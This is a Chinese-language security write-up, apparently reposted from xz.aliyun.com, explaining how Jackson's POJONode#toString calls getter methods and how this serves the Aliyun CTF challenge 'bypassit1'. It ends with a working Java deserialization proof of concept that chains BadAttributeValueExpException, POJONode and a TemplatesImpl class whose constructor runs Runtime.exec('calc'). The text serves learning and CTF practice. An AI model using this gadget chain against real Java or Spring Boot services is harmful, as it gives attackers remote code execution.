从bypassit1了解POJONode#toString调用getter方法原理

从bypassit1了解POJONode#toString调用getter方法原理
2023-5-8 17:43:0 Author: xz.aliyun.com(查看原文) 阅读量:28 收藏

前言

前面说到了在fastjson中的原生的一个反序列化调用任意类的getter方法的原理与细节

从最开始的fastjson < 1.2.48下的在JSONObject / JSONArray类反序列化过程没有安全检查的情况下通过BadAttributeValueExpException#readObject调用JSONObject#toString / JSONArray#toString方法也即是JSON#toString方法触发getter

再到fastjson >= 1.2.48下的存在有SecureObjectInputStream的安全检查的情况下，通过使用HashMap等等类创建一个reference的方式绕过resolveClass的检查触发getter

既然在fastjson中存在有这样的原生反序列化，在另一个和他功能类似的开源库jackson也有着类似的原生反序列化触发getter方法

这也是在 https://xz.aliyun.com/t/12485#toc-5 这一题中用到的知识点

Jackson的知识点

简单的认识一下Jackson的序列化触发getter的流程

在jackson中将对象序列化成一个json串主要是使用的ObjectMapper#writeValueAsString方法

在使用这个方法的过程中将会调用getter方法

大致的调用栈如下

serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)

提及几个关键的方法

DefaultSerializerProvider#serializeValue:

通过findTypedValueSerializer来从缓存中获取对应的序列化器，如果没有将会创建一个序列化器并写入缓存中，这里传入的是一个POJO对象，所以得到的是一个BeanSerializer类

来到BeanSerializer#serialize进行json串的构造

首先是调用writeStartObject方法写入{字符，之后中间是对Bean对象的属性值的一些构造，最后是调用writeEndObject方法写入}字符

而在BeanSerializerBase#serializeFields方法中

主要是对Bean类中的所有属性值的写入

而最后是能够调用对应属性值的getter方法进行赋值

例题

这里同样是通过一道CTF的题目来引入jackson中的原生反序列化

题目附件：https://github.com/Drun1baby/CTF-Repo-2023/tree/main/2023/%E9%98%BF%E9%87%8C%E4%BA%91CTF/web/bypassit1

这里只有一个controller:

就直接是获取了请求体的序列化数据进行反序列化，没有任何的过滤

而在pom.xml中查看依赖，除了存在有spring-boot-starter-web:2.6.11之外没有任何依赖

而这里的关键点jackson相较于fastjson的优势就是与springboot紧密结合，所以jackson这个依赖是存在这个spring-boot-starter-web依赖中的

根据前面的知识点，我们需要构造BadAttributeValueExpException#readObject -> POJONode#toString -> getter的链子

至于为什么要选择使用POJONode类来进行getter方法的触发在后面将会详细的描述

POC：

ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "xx");
//        setValue(templates, "_tfactory", null);
        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, node);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(val);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        Object o = (Object)ois.readObject();